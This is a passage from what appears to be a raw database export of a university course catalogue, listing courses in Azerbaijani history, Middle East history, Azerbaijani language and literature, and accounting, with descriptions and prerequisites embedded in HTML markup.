Ages: Arabian invasion, inclusion of Azerbaijan into Arabian Caliphate, and beginning of the country\'s Islamization. Study of historical development of the local feudal states in Azerbaijan: Shirvanshahs, Sajids, Shaddadids, Salarids, and Ravvadids. Formation of the Saljug Empire in Central Asia and Azerbaijan. The 12th century Azerbaijani culture. Mongol invasion. Azerbaijan in Chinghiz Khan\'s Empire and in the states of Ilkhans and Khulagiuds. The states of Qaraqoyunlu and Agqoyunlu. Safavids state of Azerbaijan. Azerbaijan in the 18th century. Azerbaijan as an arena of rivalry among Russia, Persia, and the Ottoman Empire.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 212: Modern and Contemporary History of Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: HIST 211</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is connected with the continuous rivalry of Empires for Caucasus, the division of the country into two parts between Russia and Persia (Gulustan and Turkmancay Treaties of 1813 and 1828). Since that time until 1991 North Azerbaijan existed within Russian Empire and then the USSR, but South Azerbaijan - within the Persia (Iran). A significant place is given to the History of Azerbaijan after the declaration of Independent ADR (Azerbaijan Democratic Republic) in 1918 and after 1991 - with the formation of the sovereign AR (Azerbaijan Republic).</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 213: History of the Formation and Development of Capitalistic Oil Production in Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies the peculiarities of the formation and development of large-scale capitalist oil industry in Azerbaijan. Social-economic movements in the sphere of oil engineering; oil exportation; discoveries of new hydrocarbon resources. Creation of new oil-producing factory. Transformation of Baku into the world center of oil industry. Concentration and flow of foreign investments. The beginning of monopolization of oil industry in Azerbaijan by Nobel brothers and establishment of the great monopolistic union – \"Nobel-Mazut\". Investments of international Anglo-Dutch company \"Shell\" into oil industry of Baku. Oil production during World War I: influence of the war to the structure of production; role of Azeri oil during the war. Foundation of the council of Baku oil-producers. The development of oil industry in Azerbaijan during the Soviet period.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 215: Introduction to Archeology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies primitive, antique, and medieval historical material sources; restores the historical past of the mankind; investigates important changes in the development of productive forces, social relations; ascertains the origin of nations, formation and development of their culture; retraces cultural and historical relations and formation of ethnic communities. Traces the development of native Azerbaijan culture from the peopling of the continent to early historic times. Examines the archeological evidence for the antiquity, spread, and variation of cultural adaptation to changing ecological conditions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 216: Modern History of the Middle East (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course presents a survey of the political, social and economic evolution of the Middle East in the 19th and 20th centuries, covering the impact of the West on the traditional socio-political order, state-and nation-building in the 20th century, the development of a new social order, and political and ideological conflict within and between states.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 217: History of the Origins and Development of Islam (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is primarily concerned with the emergence and consolidation of the Islamic world -- the most significant transition in the history of the Middle East and North Africa between the origins of civilization and modern times. The overall framework is one of political history broadly conceived; within this framework themes taken from religious, cultural, social and economic history will receive considerable attention. The history of origin and formation of Islamic religion. Analysis of the history of basic Islamic doctrines\' development known as Arkan al-Islam (pillars of Islam). The review of some religious dogmas will require more extensive (from the point of chronology) review of the problem. Arabic language capability is welcomed but not required.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 220: Introduction to Ethnography (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">An introduction to the basic concepts and theories of ethnography. Study of the ethnography of Azerbaijan and ethnography of the world. The course deals with general ethnic processes, ethnic factor in the history and in the modern life, types of classification of people in the world, their economic and spirituaculture. Ethnic composition and ethno- political history of Azerbaijan are emphasized.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 313. History of South Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Study of the history of South Azerbaijan from the specific aspect of its historical and socio-political development. The division of Azerbaijan in the beginning of XIX century into North and South Azerbaijan, creation of separate (different) fates and histories of one nation under the rule of the Russian and Persian empires. Emphasis of the processes occurring in South Azerbaijan after the peace treaties of Gulustan and Turkmancay in 1813 and 1828; Iranian policy of the coercive assertion of Persian culture on the population of South Azerbaijan; national-liberation movements guided by S.M.Khiyabani, Sattarkhan, and S.C.Pishavari. The course includes, as well as, the topics: South Azerbaijan during the \"cold war\"; contemporary South Azerbaijan; idea of the \"United Azerbaijan\" -- historical evolution, development, and realization tendencies.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 316: Socio-political situation in Azerbaijan in the 19-20thcenturies(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The development of national-democratic and revolutionary movements in Azerbaijan; formation of political parties and development of the national self- consciousness. The political activity of national intelligentsia. Participation of Azerbaijan political figures in four State Dumas of Russia and the beginning of formation of Azerbaijan national political system. The formation and active participation of the first national organizations in the movement for political, economic, and social rights of Azerbaijani peoples.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 317: International Status of Azerbaijan in 1917 – 1920 (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Study of the political situation in Azerbaijan after the Russian Empire\'s fall. The Democratic Republic of Azerbaijan - the first democratic state in the Muslim East. Analysis of the formation of the national Azerbaijan state and its international recognition. Survey of the Democratic Republic of Azerbaijan Government\'s activity. Participation and acceptance of Azerbaijani delegation in the Paris Peace conference. The relationships with other states. The Soviet Russia aggression in April 1920 and the breach of historical development of Azerbaijan State system.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 320: Ethnology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The purpose of the course is to study the main basic theoretical aspects of knowledge on anthropology as the science studying human being, culture, and society in the global and general historic context. The course intends to present a comprehensive knowledge on the features of the methods, the investigating objects of this sphere of science. Emphasis is on such problems as: western ethnology and its main directions; ethno-sociology; ethnicity and nation; ethno-demographic investigations; ethnology and anthropology; political ethnology.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 550: History of Iran (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course embraces long history of Iran. But attention has been given mainly to the modern and contemporary history of the multi-ethnic country. The Islamic revolution and current situation in the country have selected for more in-depth studies.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a></a>AZLL 101: Azerbaijani Language (University Requirement) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: High School Azerbaijani language</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course prepares students for analyzing academic texts and technical material in Azerbaijani. Advanced skills in academic and creative writing and reading comprehension are honed using academic literature across various disciplines. The topics cover culture, environment, customs and traditions, history, economics, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 102.&nbsp; Introduction to Writing (3 credit)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite AZLL 101.</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Writing Strategy. Planning and organizing source material for writing, revising, editing and proofreading. Summaries, critiques and syntheses of texts. Essay and creative writing. Academic and Business writing. Prose style.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 103: Azerbaijani Language for Foreigners (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The main emphasis is the communicative role of four skills – reading, writing, listening, and speaking. These skills are taught within the frame of topics such as greetings, making acquaintances, congratulations and thankfulness, (dis) approvals, requests, demands, introductions, apologizing, condolences, praying, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 104: Advanced Azerbaijani Language (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">More complex in nature, this course covers the following problematic areas of the Azerbaijani language. Semantic structure, meaning its narrowing and broadening; semantic groupings in Azerbaijani language. Grammar, basic divisions and relations within them; grammatical categories. Syntax, the types of phrases and the sentences; text linguistics and its problematic issues; syntax of poetry; punctuation marks and their functions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 105: Azerbaijani Literature (University Requirement) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers study of the Azerbaijani literature from Ancient to contemporary times through historical periods. The life and works of prominent Azerbaijani poets and writers, as well as their literary works are studied. The course also covers brief information about the history and theory of literature, main goals and objectives of literary critics, etc. Central to the coursework is the study and discussion of selected works of prominent figures in Azerbaijani literature.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 106: Modern Azerbaijani Language 1 (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course discusses the sound system, phonetic phenomenon and rules of Azerbaijan literary language. It explains pronunciation norms, formation and type of writing, peculiarities of alphabet, vocabulary structure and its richness, features and the ways of development. Information is given about principles used in the orthography of Azerbaijani. The characteristic meaning of words, types of proper names, and their origin and usage in Azerbaijani literary language are elucidated in this course. It also gives information about the dictionary and its various types, rules of dictionary compilation, and ways of word-building in the literary language.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 107-307: History of Azerbaijani Literature 1-5</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the emergence and evolution of the Azerbaijani literature from the times of early folklore literature up to the present in chronological order and through the stages of its development. The life and works of individual writers and poets who lived in different periods are studied, their literary activities are explored, national and global issued on which they focused are analyzed, the literary influences of a writer/poet on others are determined, and their creative activities are systemized in line with the historical period they lived. Central to the coursework is the study of selected pieces of literary work by the students and discussions on these works. The course is divided into the following 5 parts – each part lasts one semester and consists of&nbsp;<strong>3 credits</strong>:</p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 107: History of Azerbaijani Literature 1:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;Azerbaijani Folklore</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 109: History of Azerbaijani Literature 2:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;Ancient and Medieval Literature Prerequisite: AZLL 107</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 207: History of Azerbaijani Literature 3:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Azerbaijani Literature from 17<sup>th</sup>&nbsp;to mid-19<sup>th</sup>&nbsp;centuries&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 109.</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 208: History of Azerbaijani Literature 4:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Azerbaijani Literature from mid-19<sup>th</sup>&nbsp;to early 20<sup>th</sup>&nbsp;centuries</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 207</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 307: History of Azerbaijani Literature 5:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>20<sup>th</sup>&nbsp;century Azerbaijani Literature Prerequisite: AZLL 208</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 108: Modern Azerbaijani Language 2 – Morphology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 106</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">All important practical problems concerning morphology are covered in the teaching of this subject. This curriculum analyzes the modern Azerbaijani grammatical system, its originality and other features. The words are grouped according to their meaning, form, function and rules of modification.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 205: Advanced Azerbaijani Literature (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 105</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course aims at giving optimal knowledge on advanced Azerbaijani Literature. It covers the latest Azerbaijani Literature, development of journalistic genres, searches for new forms and contents in literature. The course also includes written and oral compositions on the bases of classic and modern literary extracts.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 206: Modern Azerbaijani Language 3 – Syntax (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 108</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">It explains teaching of word combinations, syntactic relations, sentences, and their structural types. It also deals with punctuation marks and their proper use.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 306: History of Azerbaijani Literary Language (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 206</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course explores the main sources of Azerbaijani language history and its origin, the rise of literary language, and problems extant in development periods. It also surveys the historical and cultural conditions of the different periods. The role of outstanding personalities related to the developmental history of Azerbaijan literary language is given in chronological order.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 416: Fundamentals of Literary Critics (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fundamentals of Literary Critics as a subject is composed of three parts: Theory of Literature, History of Literature, and Literary Critique. This course mainly deals with issues covered in the Theory of Literature. Features of literary works and principles of reflecting real-life events, as well as the social importance and role of literary works are studied. The course also covers such topics as principles of literary creativity and rules of their development, unity of content and form, characteristics of different types and genres, structures of literary works, styles and methods, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 417: The Environment of Eastern Languages and Azerbaijani Literature (4 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The main objective of this course is to study role of Arabic and Persian rules of writing and literature in the formation of Azerbaijani rules of writing and literature.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 512: Azerbaijani Dialectology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dialectology (dialects) and accents are constructed in this section of linguistics. This course explains the phonetic, lexical, morphological and syntactical properties of dialects and accents. It also provides an extensive classification of Azerbaijani dialects and accents on the principles of geographical territory and investigates the theoretical issues of dialectology.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 513: Onomastics (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: Consent of instructor</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The types of special names in language, their origin and use are elucidated in the course. It gives information about scientific classification and descriptions of all kinds of onomastic units.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 514: Textual Criticism (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: Consent of instructor</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Complex investigation of the historical roots and development of ways of textual criticism as a science, as well as modern textual criticism, its methods and principles are pursued in this course. The emergence and development of Azerbaijani textual criticism, Azerbaijani Middle Age manuscript books and booklets, scientific analyses of the manuscript text copies, exploration of text origins, attribution of the text (the determination of the author), research of text translations, text preparation for publications and etc. are comprehensively enlightened.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 515: Azerbaijani Historical Grammar (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course provides general information about historical grammar, discusses the developmental processes of separate parts of speech, investigates historical Azerbaijani&nbsp;phonetics and morphology, analyses the origin of the language and historical development of its morphological features, and explains and elucidates the establishment of the modern language.</p>  <br></div>'),(1254,792,'en','Azerbaijani History (AZH)','Azerbaijani History (AZH)','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 210: Principles of Accounting&nbsp;(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: BSA 101</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This is an introductory course in accounting. It covers such topics as accounting and business environment, translating business activities into accounting information, accounting cycle, merchandising operations, inventory, internal control and cash, receivables, liabilities, assets and intangibles, time value of money and financial statements, using information from accounting system for investment and management decisions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 310: Financial Accounting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: ACC 210</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course introduces financial accounting concepts and principles. It is designed to be a combination of both accounting and finance that will lay a strong background for further studies in financial subjects. The course covers the following topics: accounting principles and concepts; balance sheets, accrual vs. cash basis of income measurement; income statement; journals and ledger recording; trial balance, accrual and deferral adjustments, the &nbsp;accounting cycle, sales, cash and accounts receivable; estimating uncorrectable accounts, valuing inventories, ratio and trend analysis, present and future value concepts; liabilities, statements of cash flows, stockholders’ equity, dividends and treasury stock.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 350: Accounting Information Systems (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: ACC 210, BSA 210</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 410: Managerial Accounting&nbsp;(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: FIN 310, ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers approaches to providing accounting and processing information for effective management of for-profit and nonprofit organizations.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 415: Statutory Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the study of statutory accounts and reporting requirements; domestic auditing standards; and domestic oil and gas accounting requirements.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 420: Financial Reporting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210, FIN 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers analysis of the International Financial Reporting Standards, focusing on revenue and expense recognition and the measurement of assets and liabilities; concepts and theories underlying financial statements; introduction to international reporting standards; balance sheet; income statement, statement of changes in equity; cash flow statement; cash and receivables; inventory; revenue and expense recognition; property, plant and equipment; intangible assets.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 430: International Accounting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Securities regulation and trading; various national accounting standards; the harmonization of accounting standards internationally; accounting for the translation of transactions and foreign subsidiary financial statements.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 440: Cost Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 210, FIN 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Students study cost accounting, accounts and investments; inventory accounts; manufacturing accounts; and material use variance accounts.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 450: Auditing (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course develops student’s knowledge of auditing services. Topics include the role of auditing services in society, audit programs planning, design and implementation.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 490: Taxation&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 310</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces students to the tax concepts applicable to sole proprietorships, partnerships, corporations, estates, and trusts. Emphasis is placed on differences between tax and financial accounting concepts. In addition, students are exposed to accounting periods and methods, deferred compensation, tax planning, ethical practices, and tax research.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 800: Accounting for Financial Decisions (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: None</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is designed for graduate students. The course will focus on the financial decision makers. The purpose of this course is to introduce the «basic concepts» of accounting and finance. With knowledge in accounting and the basic elements of finance, one can understand how specific techniques and decision rules can be used. The course covers the following topics: basic accounting concepts, revenue and monetary systems, cost of sales and inventory, non-monetary assets, sources of capital, and strategic investment decisions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 801: Financial Accounting (3 